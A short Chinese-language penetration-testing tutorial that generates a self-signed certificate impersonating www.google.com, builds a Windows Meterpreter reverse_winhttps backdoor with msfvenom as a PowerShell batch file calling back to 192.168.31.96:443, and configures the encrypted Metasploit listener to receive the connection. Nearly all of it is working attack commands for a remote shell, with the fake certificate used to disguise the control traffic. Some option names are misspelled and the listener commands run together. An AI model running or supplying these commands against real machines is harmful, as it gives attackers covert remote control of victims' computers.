OpenSSL 创建SSL/TLS证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \-keyout www.google.com.key \-out www.google.com.crt && \cat www.google.com.key www.google.com.crt > www.google.com.pem && \rm -f www.google.com.key www.google.com.crt
生成后门
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.31.96 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
设置监听器
配置监听器需要使用两个附加选项。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接受到链接时执行SSL证书验证。
HandlerSSLCert
StagerVenfySSLCert
set payload windows/meterpreter/reverse_winhttpsset LHOST 192.168.31.96set LPORT 443set HandlerSSLCert /home/kali/桌面/MSF/www.google.com.pemset StagerVerifySSLCert trueexploit
查看加密数据